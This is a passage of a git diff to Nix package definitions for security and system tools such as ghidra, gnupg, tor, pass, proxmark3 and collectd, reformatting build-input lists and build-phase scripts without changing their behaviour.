+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [
     "cve_bin_tool"
diff --git a/pkgs/tools/security/fwknop/default.nix b/pkgs/tools/security/fwknop/default.nix
index daa7e274712c..79860eaf5a66 100644
--- a/pkgs/tools/security/fwknop/default.nix
+++ b/pkgs/tools/security/fwknop/default.nix
@@ -46,31 +46,29 @@ stdenv.mkDerivation rec {
   ];
 
   nativeBuildInputs = [ autoreconfHook ];
-  buildInputs =
-    [
-      libpcap
-      texinfo
-    ]
-    ++ lib.optionals gnupgSupport [
-      gnupg
-      gpgme.dev
-    ]
-    ++ lib.optionals wgetSupport [ wget ];
+  buildInputs = [
+    libpcap
+    texinfo
+  ]
+  ++ lib.optionals gnupgSupport [
+    gnupg
+    gpgme.dev
+  ]
+  ++ lib.optionals wgetSupport [ wget ];
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--localstatedir=/run"
-      "--with-iptables=${iptables}/sbin/iptables"
-      (lib.enableFeature buildServer "server")
-      (lib.enableFeature buildClient "client")
-      (lib.withFeatureAs wgetSupport "wget" "${wget}/bin/wget")
-    ]
-    ++ lib.optionalString gnupgSupport [
-      "--with-gpgme"
-      "--with-gpgme-prefix=${gpgme.dev}"
-      "--with-gpg=${gnupg}"
-    ];
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--localstatedir=/run"
+    "--with-iptables=${iptables}/sbin/iptables"
+    (lib.enableFeature buildServer "server")
+    (lib.enableFeature buildClient "client")
+    (lib.withFeatureAs wgetSupport "wget" "${wget}/bin/wget")
+  ]
+  ++ lib.optionalString gnupgSupport [
+    "--with-gpgme"
+    "--with-gpgme-prefix=${gpgme.dev}"
+    "--with-gpg=${gnupg}"
+  ];
 
   # Temporary hack to copy the example configuration files into the nix-store,
   # this'll probably be helpful until there's a NixOS module for that (feel free
diff --git a/pkgs/tools/security/ggshield/default.nix b/pkgs/tools/security/ggshield/default.nix
index 6461a07688dc..8aaf45d4d8f4 100644
--- a/pkgs/tools/security/ggshield/default.nix
+++ b/pkgs/tools/security/ggshield/default.nix
@@ -39,18 +39,19 @@ python3.pkgs.buildPythonApplication rec {
     truststore
   ];
 
-  nativeCheckInputs =
-    [ git ]
-    ++ (with python3.pkgs; [
-      jsonschema
-      pyfakefs
-      pytest-factoryboy
-      pytest-mock
-      pytest-voluptuous
-      pytestCheckHook
-      snapshottest
-      vcrpy
-    ]);
+  nativeCheckInputs = [
+    git
+  ]
+  ++ (with python3.pkgs; [
+    jsonschema
+    pyfakefs
+    pytest-factoryboy
+    pytest-mock
+    pytest-voluptuous
+    pytestCheckHook
+    snapshottest
+    vcrpy
+  ]);
 
   pythonImportsCheck = [ "ggshield" ];
 
diff --git a/pkgs/tools/security/ghidra/build.nix b/pkgs/tools/security/ghidra/build.nix
index 732e2ced1f5c..e06c3c8add91 100644
--- a/pkgs/tools/security/ghidra/build.nix
+++ b/pkgs/tools/security/ghidra/build.nix
@@ -107,20 +107,19 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      gradle
-      unzip
-      makeBinaryWrapper
-      copyDesktopItems
-      protobuf
-      python3
-      python3Packages.pip
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    gradle
+    unzip
+    makeBinaryWrapper
+    copyDesktopItems
+    protobuf
+    python3
+    python3Packages.pip
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+    desktopToDarwinBundle
+  ];
 
   dontStrip = true;
 
@@ -131,21 +130,22 @@ stdenv.mkDerivation (finalAttrs: {
     data = ./deps.json;
   };
 
-  gradleFlags =
-    [ "-Dorg.gradle.java.home=${openjdk21}" ]
-    ++ lib.optionals isMacArm64 [
-      # For some reason I haven't been able to figure out yet, ghidra builds for
-      # arm64 seems to build the x64 binaries of the decompiler. These fail to
-      # build due to trying to link the x64 object files with arm64 stdc++
-      # library, which obviously fails.
-      #
-      # Those binaries are entirely unnecessary anyways, since we're targeting
-      # arm64 build here, so let's exclude them from the build.
-      "-x"
-      "Decompiler:linkSleighMac_x86_64Executable"
-      "-x"
-      "Decompiler:linkDecompileMac_x86_64Executable"
-    ];
+  gradleFlags = [
+    "-Dorg.gradle.java.home=${openjdk21}"
+  ]
+  ++ lib.optionals isMacArm64 [
+    # For some reason I haven't been able to figure out yet, ghidra builds for
+    # arm64 seems to build the x64 binaries of the decompiler. These fail to
+    # build due to trying to link the x64 object files with arm64 stdc++
+    # library, which obviously fails.
+    #
+    # Those binaries are entirely unnecessary anyways, since we're targeting
+    # arm64 build here, so let's exclude them from the build.
+    "-x"
+    "Decompiler:linkSleighMac_x86_64Executable"
+    "-x"
+    "Decompiler:linkDecompileMac_x86_64Executable"
+  ];
 
   preBuild = ''
     export JAVA_TOOL_OPTIONS="-Duser.home=$NIX_BUILD_TOP/home"
diff --git a/pkgs/tools/security/ghidra/default.nix b/pkgs/tools/security/ghidra/default.nix
index 6630b9fcb36f..395636574bc4 100644
--- a/pkgs/tools/security/ghidra/default.nix
+++ b/pkgs/tools/security/ghidra/default.nix
@@ -39,7 +39,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     makeWrapper
     icoutils
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
   buildInputs = [
     (lib.getLib stdenv.cc.cc)
diff --git a/pkgs/tools/security/ghidra/extensions/gnudisassembler/default.nix b/pkgs/tools/security/ghidra/extensions/gnudisassembler/default.nix
index 6cddb49b8dc0..07c04989e706 100644
--- a/pkgs/tools/security/ghidra/extensions/gnudisassembler/default.nix
+++ b/pkgs/tools/security/ghidra/extensions/gnudisassembler/default.nix
@@ -42,7 +42,8 @@ buildGhidraExtension {
     bison
     texinfo
     perl
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
 
   buildInputs = [ zlib ];
   gradleBuildTask = "assemble";
diff --git a/pkgs/tools/security/ghidra/with-extensions.nix b/pkgs/tools/security/ghidra/with-extensions.nix
index e1ddfed4a06a..c8e885fcaa7d 100644
--- a/pkgs/tools/security/ghidra/with-extensions.nix
+++ b/pkgs/tools/security/ghidra/with-extensions.nix
@@ -27,18 +27,18 @@ let
       paths = (f allExtensions);
       nativeBuildInputs = [
         makeBinaryWrapper
-      ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
-      postBuild =
-        ''
-          makeWrapper '${ghidra}/bin/ghidra' "$out/bin/ghidra" \
-            --set NIX_GHIDRAHOME "$out/lib/ghidra/Ghidra"
-          makeWrapper '${ghidra}/bin/ghidra-analyzeHeadless' "$out/bin/ghidra-analyzeHeadless" \
-            --set NIX_GHIDRAHOME "$out/lib/ghidra/Ghidra"
-          ln -s ${ghidra}/share $out/share
-        ''
-        + lib.optionalString stdenv.hostPlatform.isDarwin ''
-          convertDesktopFiles $prefix
-        '';
+      ]
+      ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+      postBuild = ''
+        makeWrapper '${ghidra}/bin/ghidra' "$out/bin/ghidra" \
+          --set NIX_GHIDRAHOME "$out/lib/ghidra/Ghidra"
+        makeWrapper '${ghidra}/bin/ghidra-analyzeHeadless' "$out/bin/ghidra-analyzeHeadless" \
+          --set NIX_GHIDRAHOME "$out/lib/ghidra/Ghidra"
+        ln -s ${ghidra}/share $out/share
+      ''
+      + lib.optionalString stdenv.hostPlatform.isDarwin ''
+        convertDesktopFiles $prefix
+      '';
       inherit (ghidra) meta;
     });
 in
diff --git a/pkgs/tools/security/gnupg/24.nix b/pkgs/tools/security/gnupg/24.nix
index 0b78165a7c26..96077960f5a1 100644
--- a/pkgs/tools/security/gnupg/24.nix
+++ b/pkgs/tools/security/gnupg/24.nix
@@ -54,27 +54,26 @@ stdenv.mkDerivation rec {
     texinfo
     libgpg-error
   ];
-  buildInputs =
-    [
-      gettext
-      libassuan
-      libgcrypt
-      libgpg-error
-      libiconv
-      libksba
-      npth
-    ]
-    ++ lib.optionals (!enableMinimal) [
-      adns
-      bzip2
-      gnutls
-      libusb1
-      openldap
-      readline
-      sqlite
-      zlib
-    ]
-    ++ lib.optionals withTpm2Tss [ tpm2-tss ];
+  buildInputs = [
+    gettext
+    libassuan
+    libgcrypt
+    libgpg-error
+    libiconv
+    libksba
+    npth
+  ]
+  ++ lib.optionals (!enableMinimal) [
+    adns
+    bzip2
+    gnutls
+    libusb1
+    openldap
+    readline
+    sqlite
+    zlib
+  ]
+  ++ lib.optionals withTpm2Tss [ tpm2-tss ];
 
   freepgPatches = fetchFromGitLab {
     domain = "gitlab.com";
@@ -84,48 +83,45 @@ stdenv.mkDerivation rec {
     hash = "sha256-QOUY6EfJbTTN242BtzLojDgECGjUwbLfPJgzn/mj5L8=";
   };
 
-  patches =
-    [
-      ./fix-libusb-include-path.patch
-      ./CVE-2022-3219.patch
-      ./static.patch
-    ]
-    ++ lib.map (v: "${freepgPatches}/STABLE-BRANCH-2-4-freepg/" + v) [
-      "0002-gpg-accept-subkeys-with-a-good-revocation-but-no-sel.patch"
-      "0003-gpg-allow-import-of-previously-known-keys-even-witho.patch"
-      "0004-tests-add-test-cases-for-import-without-uid.patch"
-      "0005-gpg-drop-import-clean-from-default-keyserver-import-.patch"
-      "0006-Do-not-use-OCB-mode-even-if-AEAD-OCB-key-preference-.patch"
-      "0007-Revert-the-introduction-of-the-RFC4880bis-draft-into.patch"
-      "0008-avoid-systemd-deprecation-warning.patch"
-      "0009-Add-systemd-support-for-keyboxd.patch"
-      "0010-doc-Remove-profile-and-systemd-example-files.patch"
-    ];
+  patches = [
+    ./fix-libusb-include-path.patch
+    ./CVE-2022-3219.patch
+    ./static.patch
+  ]
+  ++ lib.map (v: "${freepgPatches}/STABLE-BRANCH-2-4-freepg/" + v) [
+    "0002-gpg-accept-subkeys-with-a-good-revocation-but-no-sel.patch"
+    "0003-gpg-allow-import-of-previously-known-keys-even-witho.patch"
+    "0004-tests-add-test-cases-for-import-without-uid.patch"
+    "0005-gpg-drop-import-clean-from-default-keyserver-import-.patch"
+    "0006-Do-not-use-OCB-mode-even-if-AEAD-OCB-key-preference-.patch"
+    "0007-Revert-the-introduction-of-the-RFC4880bis-draft-into.patch"
+    "0008-avoid-systemd-deprecation-warning.patch"
+    "0009-Add-systemd-support-for-keyboxd.patch"
+    "0010-doc-Remove-profile-and-systemd-example-files.patch"
+  ];
 
-  postPatch =
-    ''
-      sed -i 's,\(hkps\|https\)://keyserver.ubuntu.com,hkps://keys.openpgp.org,g' configure configure.ac doc/dirmngr.texi doc/gnupg.info-1
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isLinux && withPcsc) ''
-      sed -i 's,"libpcsclite\.so[^"]*","${lib.getLib pcsclite}/lib/libpcsclite.so",g' scd/scdaemon.c
-    '';
+  postPatch = ''
+    sed -i 's,\(hkps\|https\)://keyserver.ubuntu.com,hkps://keys.openpgp.org,g' configure configure.ac doc/dirmngr.texi doc/gnupg.info-1
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isLinux && withPcsc) ''
+    sed -i 's,"libpcsclite\.so[^"]*","${lib.getLib pcsclite}/lib/libpcsclite.so",g' scd/scdaemon.c
+  '';
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-Wno-implicit-function-declaration";
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--with-libgpg-error-prefix=${libgpg-error.dev}"
-      "--with-libgcrypt-prefix=${libgcrypt.dev}"
-      "--with-libassuan-prefix=${libassuan.dev}"
-      "--with-ksba-prefix=${libksba.dev}"
-      "GPGRT_CONFIG=${lib.getDev libgpg-error}/bin/gpgrt-config"
-    ]
-    ++ lib.optional guiSupport "--with-pinentry-pgm=${pinentry}/${
-      pinentry.binaryPath or "bin/pinentry"
-    }"
-    ++ lib.optional withTpm2Tss "--with-tss=intel"
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--disable-ccid-driver";
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--with-libgpg-error-prefix=${libgpg-error.dev}"
+    "--with-libgcrypt-prefix=${libgcrypt.dev}"
+    "--with-libassuan-prefix=${libassuan.dev}"
+    "--with-ksba-prefix=${libksba.dev}"
+    "GPGRT_CONFIG=${lib.getDev libgpg-error}/bin/gpgrt-config"
+  ]
+  ++ lib.optional guiSupport "--with-pinentry-pgm=${pinentry}/${
+    pinentry.binaryPath or "bin/pinentry"
+  }"
+  ++ lib.optional withTpm2Tss "--with-tss=intel"
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--disable-ccid-driver";
 
   postInstall =
     if enableMinimal then
diff --git a/pkgs/tools/security/gopass/default.nix b/pkgs/tools/security/gopass/default.nix
index 1a4c0a3ed56b..275904122505 100644
--- a/pkgs/tools/security/gopass/default.nix
+++ b/pkgs/tools/security/gopass/default.nix
@@ -57,17 +57,16 @@ buildGoModule rec {
     ++ lib.optional stdenv.hostPlatform.isLinux wl-clipboard
   );
 
-  postInstall =
-    ''
-      installManPage gopass.1
-      installShellCompletion --cmd gopass \
-        --zsh zsh.completion \
-        --bash bash.completion \
-        --fish fish.completion
-    ''
-    + lib.optionalString passAlias ''
-      ln -s $out/bin/gopass $out/bin/pass
-    '';
+  postInstall = ''
+    installManPage gopass.1
+    installShellCompletion --cmd gopass \
+      --zsh zsh.completion \
+      --bash bash.completion \
+      --fish fish.completion
+  ''
+  + lib.optionalString passAlias ''
+    ln -s $out/bin/gopass $out/bin/pass
+  '';
 
   postFixup = ''
     wrapProgram $out/bin/gopass \
diff --git a/pkgs/tools/security/gpg-tui/default.nix b/pkgs/tools/security/gpg-tui/default.nix
index 042e27913b18..07d1fce67779 100644
--- a/pkgs/tools/security/gpg-tui/default.nix
+++ b/pkgs/tools/security/gpg-tui/default.nix
@@ -35,19 +35,18 @@ rustPlatform.buildRustPackage rec {
     python3
   ];
 
-  buildInputs =
-    [
-      gpgme
-      libgpg-error
-    ]
-    ++ lib.optionals x11Support [
-      libxcb
-      libxkbcommon
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      libresolv
-    ];
+  buildInputs = [
+    gpgme
+    libgpg-error
+  ]
+  ++ lib.optionals x11Support [
+    libxcb
+    libxkbcommon
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    libresolv
+  ];
 
   meta = with lib; {
     description = "Terminal user interface for GnuPG";
diff --git a/pkgs/tools/security/nitrokey-app2/default.nix b/pkgs/tools/security/nitrokey-app2/default.nix
index 5ed96812314f..a648aab3b7f0 100644
--- a/pkgs/tools/security/nitrokey-app2/default.nix
+++ b/pkgs/tools/security/nitrokey-app2/default.nix
@@ -28,12 +28,13 @@ python3.pkgs.buildPythonApplication rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [ qtbase ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-      qtsvg
-    ];
+  buildInputs = [
+    qtbase
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+    qtsvg
+  ];
 
   propagatedBuildInputs = with python3.pkgs; [
     nitrokey
diff --git a/pkgs/tools/security/pass/default.nix b/pkgs/tools/security/pass/default.nix
index a7644ffe4126..b8697e016280 100644
--- a/pkgs/tools/security/pass/default.nix
+++ b/pkgs/tools/security/pass/default.nix
@@ -48,8 +48,11 @@ let
   env =
     extensions:
     let
-      selected =
-        [ pass ] ++ extensions passExtensions ++ lib.optional tombPluginSupport passExtensions.tomb;
+      selected = [
+        pass
+      ]
+      ++ extensions passExtensions
+      ++ lib.optional tombPluginSupport passExtensions.tomb;
     in
     buildEnv {
       name = "pass-env";
@@ -89,7 +92,8 @@ stdenv.mkDerivation rec {
   patches = [
     ./set-correct-program-name-for-sleep.patch
     ./extension-dir.patch
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin ./no-darwin-getopt.patch;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin ./no-darwin-getopt.patch;
 
   nativeBuildInputs = [ makeWrapper ];
 
@@ -132,48 +136,46 @@ stdenv.mkDerivation rec {
     ]
   );
 
-  postFixup =
-    ''
-      # Fix program name in --help
-      substituteInPlace $out/bin/pass \
-        --replace 'PROGRAM="''${0##*/}"' "PROGRAM=pass"
+  postFixup = ''
+    # Fix program name in --help
+    substituteInPlace $out/bin/pass \
+      --replace 'PROGRAM="''${0##*/}"' "PROGRAM=pass"
 
-      # Ensure all dependencies are in PATH
-      wrapProgram $out/bin/pass \
-        --prefix PATH : "${wrapperPath}"
-    ''
-    + lib.optionalString dmenuSupport ''
-      # We just wrap passmenu with the same PATH as pass. It doesn't
-      # need all the tools in there but it doesn't hurt either.
-      wrapProgram $out/bin/passmenu \
-        --prefix PATH : "$out/bin:${wrapperPath}"
-    '';
+    # Ensure all dependencies are in PATH
+    wrapProgram $out/bin/pass \
+      --prefix PATH : "${wrapperPath}"
+  ''
+  + lib.optionalString dmenuSupport ''
+    # We just wrap passmenu with the same PATH as pass. It doesn't
+    # need all the tools in there but it doesn't hurt either.
+    wrapProgram $out/bin/passmenu \
+      --prefix PATH : "$out/bin:${wrapperPath}"
+  '';
 
   # Turn "check" into "installcheck", since we want to test our pass,
   # not the one before the fixup.
-  postPatch =
-    ''
-      patchShebangs tests
+  postPatch = ''
+    patchShebangs tests
 
-      substituteInPlace src/password-store.sh \
-        --replace "@out@" "$out"
+    substituteInPlace src/password-store.sh \
+      --replace "@out@" "$out"
 
-      # the turning
-      sed -i -e 's@^PASS=.*''$@PASS=$out/bin/pass@' \
-             -e 's@^GPGS=.*''$@GPG=${gnupg}/bin/gpg2@' \
-             -e '/which gpg/ d' \
-        tests/setup.sh
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # 'pass edit' uses hdid, which is not available from the sandbox.
-      rm -f tests/t0200-edit-tests.sh
-      rm -f tests/t0010-generate-tests.sh
-      rm -f tests/t0020-show-tests.sh
-      rm -f tests/t0050-mv-tests.sh
-      rm -f tests/t0100-insert-tests.sh
-      rm -f tests/t0300-reencryption.sh
-      rm -f tests/t0400-grep.sh
-    '';
+    # the turning
+    sed -i -e 's@^PASS=.*''$@PASS=$out/bin/pass@' \
+           -e 's@^GPGS=.*''$@GPG=${gnupg}/bin/gpg2@' \
+           -e '/which gpg/ d' \
+      tests/setup.sh
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # 'pass edit' uses hdid, which is not available from the sandbox.
+    rm -f tests/t0200-edit-tests.sh
+    rm -f tests/t0010-generate-tests.sh
+    rm -f tests/t0020-show-tests.sh
+    rm -f tests/t0050-mv-tests.sh
+    rm -f tests/t0100-insert-tests.sh
+    rm -f tests/t0300-reencryption.sh
+    rm -f tests/t0400-grep.sh
+  '';
 
   doCheck = false;
 
diff --git a/pkgs/tools/security/pinentry/default.nix b/pkgs/tools/security/pinentry/default.nix
index 6845cb59c785..403a1680498a 100644
--- a/pkgs/tools/security/pinentry/default.nix
+++ b/pkgs/tools/security/pinentry/default.nix
@@ -77,33 +77,35 @@ let
       nativeBuildInputs = [
         pkg-config
         autoreconfHook
-      ] ++ lib.concatMap (f: flavorInfo.${f}.nativeBuildInputs or [ ]) buildFlavors;
+      ]
+      ++ lib.concatMap (f: flavorInfo.${f}.nativeBuildInputs or [ ]) buildFlavors;
 
-      buildInputs =
-        [
-          libgpg-error
-          libassuan
-        ]
-        ++ lib.optional withLibsecret libsecret
-        ++ lib.concatMap (f: flavorInfo.${f}.buildInputs or [ ]) buildFlavors;
+      buildInputs = [
+        libgpg-error
+        libassuan
+      ]
+      ++ lib.optional withLibsecret libsecret
+      ++ lib.concatMap (f: flavorInfo.${f}.buildInputs or [ ]) buildFlavors;
 
       dontWrapGApps = true;
       dontWrapQtApps = true;
 
-      patches =
-        [ ./autoconf-ar.patch ]
-        ++ lib.optionals (lib.elem "gtk2" buildFlavors) [
-          (fetchpatch {
-            url = "https://salsa.debian.org/debian/pinentry/raw/debian/1.1.0-1/debian/patches/0007-gtk2-When-X11-input-grabbing-fails-try-again-over-0..patch";
-            sha256 = "15r1axby3fdlzz9wg5zx7miv7gqx2jy4immaw4xmmw5skiifnhfd";
-          })
-        ];
+      patches = [
+        ./autoconf-ar.patch
+      ]
+      ++ lib.optionals (lib.elem "gtk2" buildFlavors) [
+        (fetchpatch {
+          url = "https://salsa.debian.org/debian/pinentry/raw/debian/1.1.0-1/debian/patches/0007-gtk2-When-X11-input-grabbing-fails-try-again-over-0..patch";
+          sha256 = "15r1axby3fdlzz9wg5zx7miv7gqx2jy4immaw4xmmw5skiifnhfd";
+        })
+      ];
 
       configureFlags = [
         "--with-libgpg-error-prefix=${libgpg-error.dev}"
         "--with-libassuan-prefix=${libassuan.dev}"
         (lib.enableFeature withLibsecret "libsecret")
-      ] ++ (map enableFeaturePinentry (lib.attrNames flavorInfo));
+      ]
+      ++ (map enableFeaturePinentry (lib.attrNames flavorInfo));
 
       postInstall =
         lib.optionalString (lib.elem "gnome3" buildFlavors) ''
diff --git a/pkgs/tools/security/proxmark3/default.nix b/pkgs/tools/security/proxmark3/default.nix
index 6b86a9a76fd7..e7cc074ee542 100644
--- a/pkgs/tools/security/proxmark3/default.nix
+++ b/pkgs/tools/security/proxmark3/default.nix
@@ -57,33 +57,32 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     pkg-config
     gcc-arm-embedded
-  ] ++ lib.optional withGui wrapQtAppsHook;
-  buildInputs =
-    [
-      readline
-      bzip2
-      openssl
-      jansson
-      gd
-      lz4
-      whereami
-      lua
-    ]
-    ++ lib.optional withGui qtbase
-    ++ lib.optional withPython python3
-    ++ lib.optional withBlueshark bluez5;
+  ]
+  ++ lib.optional withGui wrapQtAppsHook;
+  buildInputs = [
+    readline
+    bzip2
+    openssl
+    jansson
+    gd
+    lz4
+    whereami
+    lua
+  ]
+  ++ lib.optional withGui qtbase
+  ++ lib.optional withPython python3
+  ++ lib.optional withBlueshark bluez5;
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-      "UDEV_PREFIX=${placeholder "out"}/etc/udev/rules.d"
-      "PLATFORM=${hardwarePlatform}"
-      "PLATFORM_EXTRAS=${hardwarePlatformExtras}"
-      "STANDALONE=${standalone}"
-      "USE_BREW=0"
-    ]
-    ++ lib.optional withSmall "PLATFORM_SIZE=256"
-    ++ map (x: "SKIP_${x}=1") withoutFunctions;
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+    "UDEV_PREFIX=${placeholder "out"}/etc/udev/rules.d"
+    "PLATFORM=${hardwarePlatform}"
+    "PLATFORM_EXTRAS=${hardwarePlatformExtras}"
+    "STANDALONE=${standalone}"
+    "USE_BREW=0"
+  ]
+  ++ lib.optional withSmall "PLATFORM_SIZE=256"
+  ++ map (x: "SKIP_${x}=1") withoutFunctions;
   enableParallelBuilding = true;
 
   meta = with lib; {
diff --git a/pkgs/tools/security/stoken/default.nix b/pkgs/tools/security/stoken/default.nix
index bef9a55bd31d..2cb69294c95e 100644
--- a/pkgs/tools/security/stoken/default.nix
+++ b/pkgs/tools/security/stoken/default.nix
@@ -28,14 +28,13 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libxml2
-      nettle
-    ]
-    ++ lib.optionals withGTK3 [
-      gtk3
-    ];
+  buildInputs = [
+    libxml2
+    nettle
+  ]
+  ++ lib.optionals withGTK3 [
+    gtk3
+  ];
 
   meta = with lib; {
     description = "Software Token for Linux/UNIX";
diff --git a/pkgs/tools/security/tor/default.nix b/pkgs/tools/security/tor/default.nix
index 76aec1462571..7675b6ae739a 100644
--- a/pkgs/tools/security/tor/default.nix
+++ b/pkgs/tools/security/tor/default.nix
@@ -63,20 +63,19 @@ stdenv.mkDerivation rec {
   ];
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libevent
-      openssl
-      zlib
-      xz
-      zstd
-      scrypt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libseccomp
-      systemd
-      libcap
-    ];
+  buildInputs = [
+    libevent
+    openssl
+    zlib
+    xz
+    zstd
+    scrypt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libseccomp
+    systemd
+    libcap
+  ];
 
   patches = [ ./disable-monotonic-timer-tests.patch ];
 
diff --git a/pkgs/tools/security/tor/torsocks.nix b/pkgs/tools/security/tor/torsocks.nix
index 5092a1e42af9..931709ab8acc 100644
--- a/pkgs/tools/security/tor/torsocks.nix
+++ b/pkgs/tools/security/tor/torsocks.nix
@@ -36,18 +36,17 @@ stdenv.mkDerivation rec {
     ./torsocks-gethostbyaddr-darwin.patch
   ];
 
-  postPatch =
-    ''
-      # Patch torify_app()
-      sed -i \
-        -e 's,\(local app_path\)=`which $1`,\1=`type -P $1`,' \
-        src/bin/torsocks.in
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      sed -i \
-        -e 's,\(local getcap\)=.*,\1=${libcap}/bin/getcap,' \
-        src/bin/torsocks.in
-    '';
+  postPatch = ''
+    # Patch torify_app()
+    sed -i \
+      -e 's,\(local app_path\)=`which $1`,\1=`type -P $1`,' \
+      src/bin/torsocks.in
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    sed -i \
+      -e 's,\(local getcap\)=.*,\1=${libcap}/bin/getcap,' \
+      src/bin/torsocks.in
+  '';
 
   nativeBuildInputs = [ autoreconfHook ];
 
diff --git a/pkgs/tools/security/tracee/integration-tests.nix b/pkgs/tools/security/tracee/integration-tests.nix
index b83fb189cabf..de9feb6583aa 100644
--- a/pkgs/tools/security/tracee/integration-tests.nix
+++ b/pkgs/tools/security/tracee/integration-tests.nix
@@ -5,20 +5,18 @@
 }:
 tracee.overrideAttrs (oa: {
   pname = oa.pname + "-integration";
-  postPatch =
-    oa.postPatch or ""
-    + ''
-      # fix the test to look at nixos paths for running programs
-        # --replace-fail '"integration.tes"' '"tracee-integrat"' \
-      substituteInPlace tests/integration/event_filters_test.go \
-        --replace-fail "exec=/usr/bin/dockerd" "comm=dockerd" \
-        --replace-fail "exec=/usr/bin" "exec=/tmp/testdir" \
-        --replace-fail "/usr/bin/tee" "tee" \
-        --replace-fail "/usr/bin" "/run/current-system/sw/bin" \
-        --replace-fail 'syscallerAbsPath := filepath.Join("..", "..", "dist", "syscaller")' "syscallerAbsPath := filepath.Join(\"$out/bin/syscaller\")"
-      substituteInPlace tests/integration/exec_test.go \
-        --replace-fail "/usr/bin" "/run/current-system/sw/bin"
-    '';
+  postPatch = oa.postPatch or "" + ''
+    # fix the test to look at nixos paths for running programs
+      # --replace-fail '"integration.tes"' '"tracee-integrat"' \
+    substituteInPlace tests/integration/event_filters_test.go \
+      --replace-fail "exec=/usr/bin/dockerd" "comm=dockerd" \
+      --replace-fail "exec=/usr/bin" "exec=/tmp/testdir" \
+      --replace-fail "/usr/bin/tee" "tee" \
+      --replace-fail "/usr/bin" "/run/current-system/sw/bin" \
+      --replace-fail 'syscallerAbsPath := filepath.Join("..", "..", "dist", "syscaller")' "syscallerAbsPath := filepath.Join(\"$out/bin/syscaller\")"
+    substituteInPlace tests/integration/exec_test.go \
+      --replace-fail "/usr/bin" "/run/current-system/sw/bin"
+  '';
   nativeBuildInputs = oa.nativeBuildInputs or [ ] ++ [ makeWrapper ];
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/tools/system/collectd/default.nix b/pkgs/tools/system/collectd/default.nix
index 90645a045a49..c3700363cadb 100644
--- a/pkgs/tools/system/collectd/default.nix
+++ b/pkgs/tools/system/collectd/default.nix
@@ -42,15 +42,15 @@ stdenv.mkDerivation rec {
   ];
   buildInputs = [
     libtool
-  ] ++ plugins.buildInputs;
+  ]
+  ++ plugins.buildInputs;
 
-  configureFlags =
-    [
-      "--localstatedir=/var"
-      "--disable-werror"
-    ]
-    ++ plugins.configureFlags
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ "--with-fp-layout=nothing" ];
+  configureFlags = [
+    "--localstatedir=/var"
+    "--disable-werror"
+  ]
+  ++ plugins.configureFlags
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ "--with-fp-layout=nothing" ];
 
   # do not create directories in /var during installPhase
   postConfigure = ''
diff --git a/pkgs/tools/system/collectd/plugins.nix b/pkgs/tools/system/collectd/plugins.nix
index 44301c956d9e..dc3c7f02700c 100644
--- a/pkgs/tools/system/collectd/plugins.nix
+++ b/pkgs/tools/system/collectd/plugins.nix
@@ -54,7 +54,8 @@ let
   plugins = {
     amqp.buildInputs = [
       yajl
-    ] ++ lib.optionals stdenv.hostPlatform.isLinux [ rabbitmq-c ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [ rabbitmq-c ];
     apache.buildInputs = [ curl ];
     ascent.buildInputs = [
       curl
@@ -80,14 +81,13 @@ let
     ];
     dns.buildInputs = [ libpcap ];
     ipmi.buildInputs = [ openipmi ];
-    iptables.buildInputs =
-      [
-        libpcap
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        iptables
-        libmnl
-      ];
+    iptables.buildInputs = [
+      libpcap
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      iptables
+      libmnl
+    ];
     java.buildInputs = [
       jdk
       libgcrypt
@@ -104,13 +104,12 @@ let
     mysql.buildInputs = lib.optionals (libmysqlclient != null) [
       libmysqlclient
     ];
